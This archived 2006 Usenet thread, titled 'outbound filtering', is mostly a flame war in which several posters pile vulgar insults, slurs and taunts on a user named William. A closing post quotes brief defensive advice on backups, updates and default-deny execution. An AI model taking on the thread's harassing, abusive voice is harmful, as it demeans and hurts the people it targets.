> I don't believe this. This goody two shows *clown* is running around
> in the NG, playing the goofy two shoes Lone Ranger. All he is really
> doing is stabbing people in the back, trying to put himself above
> everyone.
>
> Old Sir William is no better than anyone else and he is far from being
> a perfect Human Being, as much as he wants people to think that he is
> righteous and perfect.
>
> This so called man and I use the word *man* loosely for him is really
> pitiful.

Plonk!!!

Re: outbound filtering

am 30.12.2006 01:36:18 von "Mr. Arnold"

>
>
> Plonk!!!

You can run but you can't hide Sir Righteous El Capitan William. You
don't start no sh*t and there will be no sh*t. I can't make it any
plainer than that Capitan.

Re: outbound filtering

am 30.12.2006 01:40:16 von Death1

William wrote:
>
> Plonk!!!

You can run but you can't hide Sir Righteous El Capitan William. You
don't start no sh*t and there will be no sh*t. I can't make it any
plainer than that Capitan.

Hell, he won't know anyway, as he's plonking.

Re: outbound filtering

am 30.12.2006 02:23:39 von paul_zest

William wrote:
> On 12/26/2006 2:46 PM, something possessed Sebastian Gottschalk to write:
> > badgolferman wrote:
> >
> >> Jim Ford, 12/26/2006,3:32:22 PM, wrote:
> >>
> >>> He obviously knows a lot about security
> >> Maybe not. If he really knew a lot about security he would be willing
> >> to offer advise. I'd say he knows a lot about arrogance.
> >
> > Actually this one rathers belongs much more to a meta discussion. Your
> > problem is not a concrete security problem, but the lack of concept and
> > knowledge. Offering concrete advise won't solve this more fundamental
> > problem.
>
> What problem? He didn't give an abstract or concrete problem, the OP
> just asked for some advise, and instead received the rantings of a mere
> child who thinks he knows more than the rest of the Internet users and
> uses that arrogant belief to pompously attack any others showing any
> sign of ignorance (by asking for advise) in order to boost and inflate
> your undeveloped ego.

Some more of your halfass opinioned diagnoses William. Have you
told everyone in these groups you are a qualified Psychologist,
"YET"?

Don't be shy impress them with your word "symantecs" *LOL*
(i.e. semantics)


4Q

Re: outbound filtering

am 30.12.2006 02:35:39 von Death2

Hey Wheaties, you got anything else you want to bitch and whine about?

Re: outbound filtering

am 30.12.2006 04:44:25 von Wheaty

Death2 <""Death2\"@The Door@No Hope2.com"> wrote in news:Lnjlh.5075$w91.967
@newsread1.news.pas.earthlink.net:

> Hey Wheaties, you got anything else you want to bitch and whine about?
>

Other than the fact that you weren't hit in the head with a shovel at
birth, nope, can't think of anything.

--

Re: outbound filtering

am 30.12.2006 05:22:44 von Death3

Wheaty wrote:
> Death2 <""Death2\"@The Door@No Hope2.com"> wrote in news:Lnjlh.5075$w91.967
> @newsread1.news.pas.earthlink.net:
>
>
>>Hey Wheaties, you got anything else you want to bitch and whine about?
>>
>
>
> Other than the fact that you weren't hit in the head with a shovel at
> birth, nope, can't think of anything.
>

Yeah, yeah, dear, you can go change your draws, smell them draws first
like you sniff other people, and blow a righteous kiss to the crowd.

I see you're no better than anyone else, with a weak game and you stink,
trying to pass judgment on someone.

Re: outbound filtering

am 30.12.2006 06:13:44 von Death3

paul_zest@hushmail.com wrote:
> William wrote:
>
>>On 12/26/2006 2:46 PM, something possessed Sebastian Gottschalk to write:
>>
>>>badgolferman wrote:
>>>
>>>
>>>>Jim Ford, 12/26/2006,3:32:22 PM, wrote:
>>>>
>>>>
>>>>>He obviously knows a lot about security
>>>>
>>>>Maybe not. If he really knew a lot about security he would be willing
>>>>to offer advise. I'd say he knows a lot about arrogance.
>>>
>>>Actually this one rathers belongs much more to a meta discussion. Your
>>>problem is not a concrete security problem, but the lack of concept and
>>>knowledge. Offering concrete advise won't solve this more fundamental
>>>problem.
>>
>>What problem? He didn't give an abstract or concrete problem, the OP
>>just asked for some advise, and instead received the rantings of a mere
>>child who thinks he knows more than the rest of the Internet users and
>>uses that arrogant belief to pompously attack any others showing any
>>sign of ignorance (by asking for advise) in order to boost and inflate
>>your undeveloped ego.
>
>
> Some more of your halfass opinioned diagnoses William. Have you
> told everyone in these groups you are a qualified Psychologist,
> "YET"?
>
> Don't be shy impress them with your word "symantecs" *LOL*
> (i.e. semantics)
>
>
> 4Q
>

Well, well, let the truth be told about Sir Righteous El Capitan
William, a pussy plonk and runner, trying to pass his rightous judgment
out here on the Internet. I think El Capitan needs to practice getting a
life.

Re: outbound filtering

am 30.12.2006 08:26:20 von paul_zest

Death3 wrote:
> paul_zest@hushmail.com wrote:
> > William wrote:
> >
> >>On 12/26/2006 2:46 PM, something possessed Sebastian Gottschalk to write:
> >>
> >>>badgolferman wrote:
> >>>
> >>>
> >>>>Jim Ford, 12/26/2006,3:32:22 PM, wrote:
> >>>>
> >>>>
> >>>>>He obviously knows a lot about security
> >>>>
> >>>>Maybe not. If he really knew a lot about security he would be willing
> >>>>to offer advise. I'd say he knows a lot about arrogance.
> >>>
> >>>Actually this one rathers belongs much more to a meta discussion. Your
> >>>problem is not a concrete security problem, but the lack of concept and
> >>>knowledge. Offering concrete advise won't solve this more fundamental
> >>>problem.
> >>
> >>What problem? He didn't give an abstract or concrete problem, the OP
> >>just asked for some advise, and instead received the rantings of a mere
> >>child who thinks he knows more than the rest of the Internet users and
> >>uses that arrogant belief to pompously attack any others showing any
> >>sign of ignorance (by asking for advise) in order to boost and inflate
> >>your undeveloped ego.
> >
> >
> > Some more of your halfass opinioned diagnoses William. Have you
> > told everyone in these groups you are a qualified Psychologist,
> > "YET"?
> >
> > Don't be shy impress them with your word "symantecs" *LOL*
> > (i.e. semantics)
> >
> >
> > 4Q
> >
>
> Well, well, let the truth be told about Sir Righteous El Capitan
> William, a pussy plonk and runner, trying to pass his rightous judgment
> out here on the Internet. I think El Capitan needs to practice getting a
> life.

So you're not really a big fan of his then? Oh well if you ever
need to something to send you to sleep you should get his easy
listening Psychology tape (he practices in the mirror). He's
been bigging himself up over in ACV if you'd like a transcript of
it.


4Q

Re: outbound filtering

am 30.12.2006 12:18:31 von Death4

4Q wrote:
> Death3 wrote:
>
>>paul_zest@hushmail.com wrote:
>>
>>>William wrote:
>>>
>>>
>>>>On 12/26/2006 2:46 PM, something possessed Sebastian Gottschalk to write:
>>>>
>>>>
>>>>>badgolferman wrote:
>>>>>
>>>>>
>>>>>
>>>>>>Jim Ford, 12/26/2006,3:32:22 PM, wrote:
>>>>>>
>>>>>>
>>>>>>
>>>>>>>He obviously knows a lot about security
>>>>>>
>>>>>>Maybe not. If he really knew a lot about security he would be willing
>>>>>>to offer advise. I'd say he knows a lot about arrogance.
>>>>>
>>>>>Actually this one rathers belongs much more to a meta discussion. Your
>>>>>problem is not a concrete security problem, but the lack of concept and
>>>>>knowledge. Offering concrete advise won't solve this more fundamental
>>>>>problem.
>>>>
>>>>What problem? He didn't give an abstract or concrete problem, the OP
>>>>just asked for some advise, and instead received the rantings of a mere
>>>>child who thinks he knows more than the rest of the Internet users and
>>>>uses that arrogant belief to pompously attack any others showing any
>>>>sign of ignorance (by asking for advise) in order to boost and inflate
>>>>your undeveloped ego.
>>>
>>>
>>>Some more of your halfass opinioned diagnoses William. Have you
>>>told everyone in these groups you are a qualified Psychologist,
>>>"YET"?
>>>
>>>Don't be shy impress them with your word "symantecs" *LOL*
>>>(i.e. semantics)
>>>
>>>
>>>4Q
>>>
>>
>>Well, well, let the truth be told about Sir Righteous El Capitan
>>William, a pussy plonk and runner, trying to pass his rightous judgment
>>out here on the Internet. I think El Capitan needs to practice getting a
>>life.
>
>
> So you're not really a big fan of his then? Oh well if you ever
> need to something to send you to sleep you should get his easy
> listening Psychology tape (he practices in the mirror). He's
> been bigging himself up over in ACV if you'd like a transcript of
> it.
>
>

No thank you, I have never noticed this person, until the other day. I
have seen all I need to see of El Capitan William. Who does he think he
is, Dr. Phil? I bet he has pulled this crap with his family and they
dragged him into that backyard and threaten to hang him for it, so he's
out here on the Internet.

The man and I use the word *man* loosely is nothing but a low-life, pos,
back stabbing, lunatic and a dancer, trying to administer his worthless
brand of justice.

http://www.encyclopediadramatica.com/index.php/The_Kadaitcha _Dancers

I have got one eye on that lunatic.

Re: outbound filtering

am 30.12.2006 16:13:09 von unknown

Post removed (X-No-Archive: yes)

Re: outbound filtering

am 31.12.2006 16:20:27 von "GEO" Me

On Sat, 30 Dec 2006 16:13:09 +0100, Sebastian Gottschalk
wrote:


>> Did I miss where Sebastian listed all those real security
>> measures??

>No, you didn't.

[snip]

>.... Because stuff like backups, keeping software updated and LUA is
>well known.
>
>After all, some stuff is even trivial conclusion: The trivial measure
>against unvoluntarily running malicious code is to deny running code by
>default (global noexec) and whitelisting legitimate applications. You don't
>even need to know much about computers to understand this.

That was a nicer reply; could have been your first. Save it, and do a
copy and paste on future enquiries on the same topic.

Geo